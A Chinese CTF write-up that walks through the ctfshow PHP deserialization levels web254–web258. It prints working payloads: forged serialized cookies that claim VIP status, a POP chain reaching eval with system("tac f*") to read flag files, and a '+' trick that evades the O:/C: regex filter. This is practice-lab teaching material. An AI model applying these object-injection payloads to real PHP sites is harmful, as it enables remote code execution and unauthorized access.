反序列化
web254
这关很简单虽然在反序列化里但是这关并没有反序列化直接payload:
?username=xxxxxx&password=xxxxxx
如图:
web255
这关主要的判断条件是
if(isset($username) && isset($password))//检查是否存在get传参 { $user = unserialize($_COOKIE['user']);//反序列化传入的cookie参数user if($user->login($username,$password))//调用对象中的login方法 { if($user->checkVip())//检查是否为vip { $user->vipOneKeyGetFlag();//调用这个方法来输出flag }
开始整理思路首先需要有个get传参然后要有个已经序列化且符合条件的对象还要使用cookie传参
开始先构造user需要使用代码来完成序列化
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxxx'; public $isVip = true; } $a = serialize(new ctfShowUser); echo $a; echo ''; echo urlencode($a);
这样构造的原理是如果我们想要获取cookie的话要通过验证证明自己是vip那么就需要我们get传入的参数符合cookie所以get传入
?username=xxxxxx&password=xxxxxx
其次是我们传入带有正确的用户名和密码的cookie应该是反序列化的还有一点是将原来类里的属性$isvip的值改为ture这样才能说明此用户为vip只有vip能拿到flag还有一点经过反序列化的cookie应该在进行url编码、
(因为对于 Cookie,由于它经常用于存储用户会话信息等,而这些信息可能包含各种字符,包括一些在 URL 中有特殊含义的字符,比如空格、等号等。如果不对这些特殊字符进行编码,就有可能导致 URL 解析出错,从而影响到服务器端对 Cookie 的正确处理。)
开始实操:(进行反序列化的时候使用在线的php工具即可PHP 在线工具 | 菜鸟工具)
如图:
然后进行get传参和cookie传参 如图:
web 256
这关和上一关的区别是在在使用了全局变量$flag后又加了一层验证 如图:
意思是要我们的username和password不能相等
开搞:只要在上一关的基础上把用户名和密码改一下只要不相等即可
我把password少了一个x
构造cookie方法:
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxx'; public $isVip = true; } $a = serialize(new ctfShowUser); echo "user=$a"; echo "\n"; echo "\n"; echo "user="; echo urlencode($a);
如图:
get传参:
?username=xxxxxx&password=xxxxx
cookie传参:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
将他们传上去即可 如图:
web 257
这关只是去看代码的话发现并不会输出什么东西也没有输出的代码但是但我们把他的代码全部看完后发现有一个类并没有被使用 如下:
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
哈哈看到了一个特别有用的函数eval()这个函数可以执行任何代码 这是我们的一个可以利用来输出flag的点那这个点有了因为这关只接受两种传参方式get只能去传username和password
因此我们选择去利用cookie传参来实现来实现接下来开始构造:
<?php class ctfShowUser { private $username = 'xxxxxx'; private $password = 'xxxxxx'; private $isVip = false; private $class = 'info'; public function __construct() { $this->class = new backDoor(); } public function __destruct() { $this->class->getInfo(); } } class backDoor { //private $code = 'system("cat flag.php");';//注意要两个分号 private $code='system("tac f*");'; public function getInfo() { eval($this->code); } } $a = new ctfShowUser(); $b = serialize($a); echo "user=$b"; echo "\n"; echo "\n"; echo "user="; echo urlencode($b);
关于为什么必须要使用两个分号的解释:
第一个分号是在字符串 'system("tac f*");'
中的。这个字符串实际上是赋值给 $code
属性的值。
第二个分号是在实际的赋值语句 private $code = 'system("tac f*");';
中的,它表示这个语句的结束。
get传的用户名和密码只要有就ok不管是什么
为什么在以上代码使用tac可以但是cat就不行我个人认为是因为他们所需要的权限不同所以当尝试cat不行的时候可以去试试tac
还有f*为通配符可以匹配所有以f为开头的文件,还有在php中一个双引号中不能包含另一个双引号如果有的话一定要转义一下
还有一个误区就是tac命令的逆序显示文件的内容的意思是把文件的每一句话原来的顺序给逆序不是把一句话中的代码给逆序输出举个例子:
tes.txt的内容是
hello world get flag how are you
那么使用tac把他逆序输出就是:
how are you get flag hello world
所以不需要担心读出来的文件不认识
web 258
这关和上一关的差别是在上一关的基础上对我们输入的cookie进行了正则匹配还有一点上一关的类中存在私有属性而这一关是共有属性在进行构造代码的时候要注意如果误写成了私有属性可能会导致flag获取失败
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxxx'; public $isVip = false; public $class = 'info'; public function __construct() { $this->class = new backDoor(); } public function __destruct() { $this->class->getInfo(); } } class backDoor { //private $code = 'system("cat flag.php");';//注意要两个分号 public $code='system("tac f*");'; public function getInfo() { eval($this->code); } } $a = new ctfShowUser(); $b = serialize($a); echo "user=$b"; echo "\n"; echo "\n"; echo "user="; echo urlencode($b);
然后使用输出中的已经反序列化的$a:
user=O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system("tac f*");";}}
因为这关对我们输入进行了正则匹配 如图:
解释:在/ /之间的是正则匹配表达式
/[oc]:其中的[]表示一个集合oc表示集合中的元素:就表示冒号;整体来说是匹配o:或者c:
\d+表示匹配多个数字 其中的\d表示一个元字符,表示匹配任意一个元字符,+是一个量词,表示可以匹配多个元字符
最后的i表示不区分大小写
举个例子以上的正则匹配表达式匹配的内容是:C:1212 和O:2312
所以我们要在上面原来的cookie的基础上再加上点东西让他匹配不到可以加上+号因为在数字的前面加上+只是表示这个是数字是正数对它的内容没有影响
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("tac f*");";}}
注意:有两个o在第一个类的属性中还存在一个类 应该把他们都加上+符号
然后不要忘了还有再进行一下url编码
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D
cookie传参即可
至于get传参只要有用户名和密码即可不管传啥
如图: